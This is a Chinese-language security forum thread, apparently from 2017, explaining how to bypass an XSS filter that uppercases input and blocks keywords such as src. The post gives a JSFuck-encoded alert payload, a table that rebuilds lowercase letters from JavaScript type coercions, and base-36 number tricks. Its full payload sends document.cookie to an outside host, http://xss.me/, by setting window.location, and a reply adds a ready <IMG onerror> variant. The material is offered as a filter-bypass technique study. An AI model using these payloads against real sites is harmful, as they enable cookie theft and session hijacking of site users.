[【通过】] xss_bypass_Uppercase的一些小技巧

[复制链接]
Dik1s 发表于 2017-2-10 16:20:04 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 2

0x00 Question

某次遇到的XSS,它将所输入的所有字母均使用PHP转换为大写,并且过滤了入src等关键字以及各种标签。

0x01 Some Links

http://holyvier.blogspot.jp/2011 ... part-2-strings.html

http://holyvier.blogspot.jp/2011 ... getting-window.html

http://holyvier.blogspot.jp/2015 ... lenge-writeups.html


0x02 JSFuck bypass Uppercase

如果输入没有对输入长度进行限制,即可使用JsFuck编码进行绕过

如:
[JavaScript] 纯文本查看 复制代码
<script>alert(1)</script>


通过JSFUCK编码后为:

[JavaScript] 纯文本查看 复制代码
<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()<script>


0x03 字符串拼接绕过Uppercase

js在执行一些运算的时候,可能会出现一些类似于NaN之类的字符并保存在变量中,如:

http://idoge.cc/img/xss_bypass_Uppercase/xss_bypass_Uppercase_1.png

那么通过这样我们可以得到自己想要的字符串并拼凑起来执行到自己想要的命令,如:

http://idoge.cc/img/xss_bypass_Uppercase/xss_bypass_Uppercase_2.png

下面是字母和符号的对照表:

a    (!1+"")[1]
b    (1+{})[3]
c    (1+{})[6]
d    ([][[]]+"")[2]
e    ([][[]]+"")[3]
f    ([][[]]+"")[4]
i    ([][[]]+"")[5]
j    (1+{})[4]
l    (!1+"")[2]
m*  (1..constructor+"")[11]
n    ([][[]]+"")[1]
o    (1+{})[2]
r    (!0+"")[1]
s    (!1+"")[3]
t    (!0+"")[0]
u    ([][[]]+"")[0]
v*  ([].sort+"")[23]
y    (1/0+"")[7]

该方式利用可通过constructor和toString这两个函数.

通过constructor形成一个空的构造函数可以执行任意代码

http://idoge.cc/img/xss_bypass_Uppercase/xss_bypass_Uppercase_3.png

toString可以通过进制转换拼接得到任意字符,如十进制转换为三十六进制:

17795081 -> alert
1966241552 -> windows
1698633989591 -> location
1071753937337 -> document
767051222 -> cookie

如此拼接可得到想要的payload,如:

http://idoge.cc/img/xss_bypass_Uppercase/xss_bypass_Uppercase_4.png

完整利用为:

[JavaScript] 纯文本查看 复制代码
$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];

$$=[][$][$];

_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];

$$(1966241552[_](36)+"."+1698633989591[_](36)+"="http://xss.me/"+"+1071753937337[_](36)+"."+767051222[_](36))();


以上,感谢VV大哥的帮助,欢迎各位师傅们指正。

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

实习大灰狼 发表于 2017-2-10 16:56:42 | 显示全部楼层

正式成员|主题 |帖子 |积分 152

欢迎表哥
fresh 发表于 2017-2-10 18:26:25 | 显示全部楼层

正式成员|主题 |帖子 |积分 43

学习了
配一个简单利用:
<IMG SRC=1 onerror=$=(1+{})[6]+(1+{})[2]+([][[]]+"")[1]+(!1+"")[3]+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[0]+(1+{})[6]+(!0+"")[0]+(1+{})[2]+(!0+"")[1];$$=[][$][$];_=(!0+"")[0]+(1+{})[2]+"S"+(!0+"")[0]+(!0+"")[1]+([][[]]+"")[5]+([][[]]+"")[1]+(""[$]+"")[14];$$(17795081[_](36)+"(1)")()>
赵健康 发表于 2017-2-10 20:17:13 | 显示全部楼层

九零元老|主题 |帖子 |积分 119

总结的不错!!!
Xiaoye10 发表于 2017-2-11 12:58:54 | 显示全部楼层

正式成员|主题 |帖子 |积分 149

欢迎,大表哥。get新姿势
姗姗来迟 发表于 2017-2-12 22:47:08 | 显示全部楼层

正式成员|主题 |帖子 |积分 148

很不错,  欢迎来一起探讨XSS
 楼主 Dik1s 发表于 2017-2-13 00:12:20 | 显示全部楼层

正式成员|主题 |帖子 |积分 2

RE: xss_bypass_Uppercase的一些小技巧

姗姗来迟 发表于 2017-2-12 22:47
很不错,  欢迎来一起探讨XSS

求学习qwq  弱鸡一枚求师傅们带
 楼主 Dik1s 发表于 2017-2-13 00:12:39 | 显示全部楼层

正式成员|主题 |帖子 |积分 2

RE: xss_bypass_Uppercase的一些小技巧

Xiaoye10 发表于 2017-2-11 12:58
欢迎,大表哥。get新姿势

非表哥qwq
 楼主 Dik1s 发表于 2017-2-13 00:13:13 | 显示全部楼层

正式成员|主题 |帖子 |积分 2

RE: xss_bypass_Uppercase的一些小技巧

xuetr2016 发表于 2017-2-13 10:30:40 | 显示全部楼层

正式成员|主题 |帖子 |积分 109

学到了新姿势,谢谢分享
xssshell 发表于 2017-2-14 09:33:00 | 显示全部楼层

正式成员|主题 |帖子 |积分 34

绕过思路不错,就是有点长了。很多插入地方都有字数限制。
麦田丶守望者 发表于 2017-2-14 09:52:04 | 显示全部楼层

正式成员|主题 |帖子 |积分 12

总结得不错
 楼主 Dik1s 发表于 2017-2-15 17:34:37 | 显示全部楼层

正式成员|主题 |帖子 |积分 2

RE: xss_bypass_Uppercase的一些小技巧

xssshell 发表于 2017-2-14 09:33
绕过思路不错,就是有点长了。很多插入地方都有字数限制。

这个是在长度足够的情况下绕过Uppercase的 大概250个字符左右吧
快速回复 返回顶部 返回列表